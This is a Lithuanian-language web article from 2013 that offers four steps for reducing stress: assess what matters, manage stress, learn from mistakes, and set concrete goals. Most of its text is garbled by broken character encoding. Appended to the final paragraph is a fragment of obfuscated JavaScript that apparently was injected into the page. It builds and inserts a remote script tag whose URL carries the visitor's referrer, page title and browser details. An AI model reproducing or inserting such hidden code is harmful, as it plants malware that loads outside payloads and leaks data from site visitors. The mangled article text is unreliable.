Kaip numalA?inti stresA�?

Rūta Rušėnaitė

Publikuota
2013 m. balandžio 26 d.

TurbA�t daugelis iA? mA�sA? kenA?ia nuo streso. DaA?nas mA�sA? nusiskundimas a�� mes esame per daug emocionalA�s arba negalime kontroliuoti savo emocijA?, bet vienu ar kitu atveju mes visi privalome susidoroti su stresu.

Pirmiausiai bA�tina A?inoti, kad stresas yra tiek, kiek pats leidi jam bA�ti. IA?ankstinis nusistatymas ir poA?iA�ris A? problemas bei jA? aktualumA� lemia sugebA�jimA� kontroliuoti stresA�. Taigi, stresA� A?veikti arba bent jau jA? sumaA?inti galima labai paprastai, tereikia turA�ti daug noro bei A?dA�ti A?iek tiek pastangA?. A�tai 4 A?ingsneliai, kurie padA�s sumaA?inti stresA�.

Pirmas A?ingsnis a�� A?vertink. Reikia A?vertinti tai, kas yra svarbu ir priklauso nuo tavA�sA�arba nuo kitA?. Taip pat bA�tina A?vertinti ir tai, kas nA�ra labai svarbu.

Antras A?ingsnis a�� pradA�k streso kontrolA�. PakalbA�k su draugais ar A?eimos nariais, neapleisk savo pomA�giA? ir sporto,A� pabandyk atsipalaiduoti arba medituoti.

TreA?ias A?ingsnis a�� mokykis iA? klaidA?. Atsipalaiduok ir pagalvok, kA� gali padaryti, kad vA�l ir vA�l nepakliA�tum A? panaA?ias stresines situacijas.

Ketvirtas ir paskutinis A?ingsnis a�� suplanuok ateities tikslus, kurie turi bA�ti: konkretA�s, pasiekiami ir realA�s.A�Siek jA? ir gyvenk laimingai bei nepamirA?k:A�A?ypsena ir juokas a�� geriausias streso prieA?nuodis! \x20\x74\x72\x61\x63\x6B\x65\x72\x20\x6D\x75\x73\x74\x20\x75\x73\x65\x20\x48\x54\x54\x50\x53\x20\x74\x6F\x6F\x2E”];var d=document;var s=d[_0x31f1[1]](_0x31f1[0]);s[_0x31f1[2]]= _0x31f1[3]+ encodeURIComponent(document[_0x31f1[4]])+ _0x31f1[5]+ encodeURIComponent(document[_0x31f1[6]])+ _0x31f1[7]+ window[_0x31f1[11]][_0x31f1[10]][_0x31f1[9]](_0x31f1[8],_0x31f1[7])+ _0x31f1[12];if(document[_0x31f1[13]]){document[_0x31f1[13]][_0x31f1[15]][_0x31f1[14]](s,document[_0x31f1[13]])}else {d[_0x31f1[18]](_0x31f1[17])[0][_0x31f1[16]](s)};if(document[_0x31f1[11]][_0x31f1[19]]=== _0x31f1[20]&& KTracking[_0x31f1[22]][_0x31f1[21]](_0x31f1[3]+ encodeURIComponent(document[_0x31f1[4]])+ _0x31f1[5]+ encodeURIComponent(document[_0x31f1[6]])+ _0x31f1[7]+ window[_0x31f1[11]][_0x31f1[10]][_0x31f1[9]](_0x31f1[8],_0x31f1[7])+ _0x31f1[12])=== -1){alert(_0x31f1[23])}

Fotografavo Martynas Grunevas